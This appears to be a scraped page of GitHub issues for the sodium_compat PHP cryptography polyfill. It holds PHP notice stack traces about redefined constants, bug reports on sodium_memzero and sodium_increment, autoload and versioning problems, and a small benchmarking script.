PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SHORTHASH_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 71
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SHORTHASH_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 72
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETBOX_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 73
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETBOX_MACBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 74
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETBOX_NONCEBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 75
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 76
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 77
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 78
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 79
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 81
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 82
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 83
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SIGN_BYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 84
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SIGN_SEEDBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 85
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 86
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SIGN_SECRETKEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 87
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_SIGN_KEYPAIRBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 88
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_STREAM_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 89
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_STREAM_NONCEBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 90
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
I have a PHP project which is not (yet) compatible with PHP7.2+ versions but that uses lib sodium.
I wish to use timing attacks safer versions of several functions like bin2base64
which are declared in extension from version 7.2.0 https://github.com/php/php-src/blob/PHP-7.2.0/ext/sodium/php_libsodium.h#L39
Sadly, some of these are not implemented in this repo. So this repo can NOT say it provides ext-sodium
as is intended in #59 (comment)
The class ParagonIE_Sodium_Compat cannot be found in cli mode, works fine in php-fpm.
Steps to reproduce:
Install Yii frameword 1.x
run composer require pusher/pusher-php-server
run some command
PHP 7.0.33
pusher-php-server 3.4.1
Do you know https://github.com/devi/Salt?
Please tell me how horrible it is if you think so.
Apart from that (which you would have done anyway, even if I had not requested this) you might (re)use some code from there or might suggest all users to switch to your lib (when it is finished).
In any case I wanted to make you aware of this lib.
While updating the PHPCompatibility ruleset for sodium_compat for compatibility with the v1.12.0 release I noticed some inconsistencies.
Not sure if these are, or could be problematic, but I figured it would be worth reporting them.
LIBRARY_VERSION_MAJOR
, LIBRARY_VERSION_MINOR
and VERSION_STRING
constants in the list in /lib/php72compat.php
are still incorrectly named.LIBRARY_MAJOR_VERSION
, LIBRARY_MINOR_VERSION
and LIBRARY_MINOR_VERSION
.src/Compat.php
file suffer from the same./lib/php72compat_const.php
file and the /lib/php72compat.php
file are out of sync.
/lib/php72compat_const.php
file contains the four SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_...
constants, while the list in /lib/php72compat.php
does not./lib/php72compat_const.php
file contains the six SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_...
constants, while the list in /lib/php72compat.php
does not.The builds are breaking on Travis CI because of weird inconsistencies with PHP < 5.4.
Before the first release, we need to get those working.
As mentioned in #43 opting in early fixes HHVM, but once Travis pushes trusty
as default then we won't need explicit dependence, so we should remove so that it isn't confusing in future.
More info here: https://blog.travis-ci.com/2017-07-11-trusty-as-default-linux-is-coming.
This issue should be closable by end of August.
Friday, I'm tagging v0.3.0 (whether or not it's the same code as v0.2.2 remains to be seen). From that point until sodium_compat is audited, I'm enacting a code freeze, which will end once #8 has moved forward at all.
sodium_memzero()
and sodium_increment()
both work with the reference of their parameter, when using libsodium-php 1.x the parameter is not passed as reference. This is due to the usage of call_user_func()
to call the "real" functions of php-libsodium from the polyfill.
For sodium_memzero()
that means the content of the string is not wiped and no error, warning or exception is thrown.
<?php
$str = 'ABCDEFGH';
sodium_memzero($str);
var_dump($str === 'ABCDEFGH'); // true, should be false or SodiumException should have been thrown by sodium_memzero()
For sodium_increment()
that means the value is not incremented.
<?php
$str = random_bytes(SODIUM_CRYPTO_SECRETBOX_NONCEBYTES);
var_dump(sodium_bin2hex($str)); // f4a85361c2e563252ea077abc9e0b9ce38fb201808444c1b
sodium_increment($str);
var_dump(sodium_bin2hex($str)); // f4a85361c2e563252ea077abc9e0b9ce38fb201808444c1b should be f5a85361c2e563252ea077abc9e0b9ce38fb201808444c1b
I initially thought that sodium_increment()
was generating a fatal error instead of silently doing nothing but my initial test case was too simple and was hitting this error of libsodium: https://github.com/jedisct1/libsodium-php/blob/1.0.7/libsodium.c#L480
Both cases have been reproduced with the following environment:
Linux
PHP 5.6.37
libsodium-php 1.0.7
sodium_compat 1.6.3
Using the namespaced version as polyfill, the call to Compat::library_version_major() ends with:
In Compat.php line 3126:
Attempted to call function "sodium_library_version_major" from the global namespace.
PHP: 7.2.25
ext-sodium: 1.0.16
sodium_compat: 1.12.1
Should php72compat.php
be loaded by autoload? or the constants used instead of library_version_major()?
Regards
https://github.com/paragonie/sodium_compat/blob/master/src/Compat.php#L356
throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long');
It appears there is an incompatibility between the latest version of the library and earlier versions, where, if an earlier version is loaded first, the checks performed by the library will not suffice to detect this, and attempt to load elements anew.
The specific issue at hand is caused by a WordPress plugin connecting to a different software that utilizes the latest version of the library, causing WordPress to emit notices and thus breaking the page output:
Potentially related to #101
I currently cannot update versions of this library, and am stuck on v1.8.1.
If I update to 1.11.1, then the file "php72compat.php" fails to find the correct constants passed to "constant()"
This issue will then generate a warning for EVERY constant needed, even if my PHP version is v7.1 or v7.2.
Can this be investigated?
I can reproduce it by using Certainty, and updating to the latest, and then trying to execute RemoteFetch->getLatestBundle().
Depends on #2
I'm trying to create code that will have to work in at least PHP 7.0 and work even if libsodium
is not installed but if it's installed it should fallback to it, for speed.
My problem is that sodium_compat
doesn't seem to detect the fallback correctly in my environment:
libsodium-dev
from default repos.libsodium-php
installed with pecl install libsodium
.sodium_compat
1.6.1 installed with composer.I made a little test script that should explain what I'm seeing:
<?php
require __DIR__ . '/vendor/autoload.php';
var_dump(PHP_INT_SIZE);
var_dump(PHP_VERSION);
var_dump(SODIUM_LIBRARY_MAJOR_VERSION);
var_dump(SODIUM_LIBRARY_MINOR_VERSION);
var_dump(SODIUM_LIBRARY_VERSION);
var_dump(phpversion('sodium'));
var_dump(extension_loaded('sodium'));
var_dump(extension_loaded('libsodium'));
$t = microtime(true);
sodium_crypto_generichash(str_pad('', 4*1024));
echo round(1000*(microtime(true) - $t), 2) . 'ms' . PHP_EOL;
$t = microtime(true);
\ParagonIE_Sodium_Compat::crypto_generichash(str_pad('', 4*1024));
echo round(1000*(microtime(true) - $t), 2) . 'ms' . PHP_EOL;
The result:
$ php test.php
int(8)
string(23) "7.0.28-0ubuntu0.16.04.1"
int(9)
int(1)
string(5) "1.0.8"
string(6) "2.0.10"
bool(true)
bool(false)
string(64) "b706eb2b5f1abc922d98b722aef70611316fe50d3e3236376ddbe7ed3500b00f"
0.07ms
string(64) "b706eb2b5f1abc922d98b722aef70611316fe50d3e3236376ddbe7ed3500b00f"
34.5ms
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.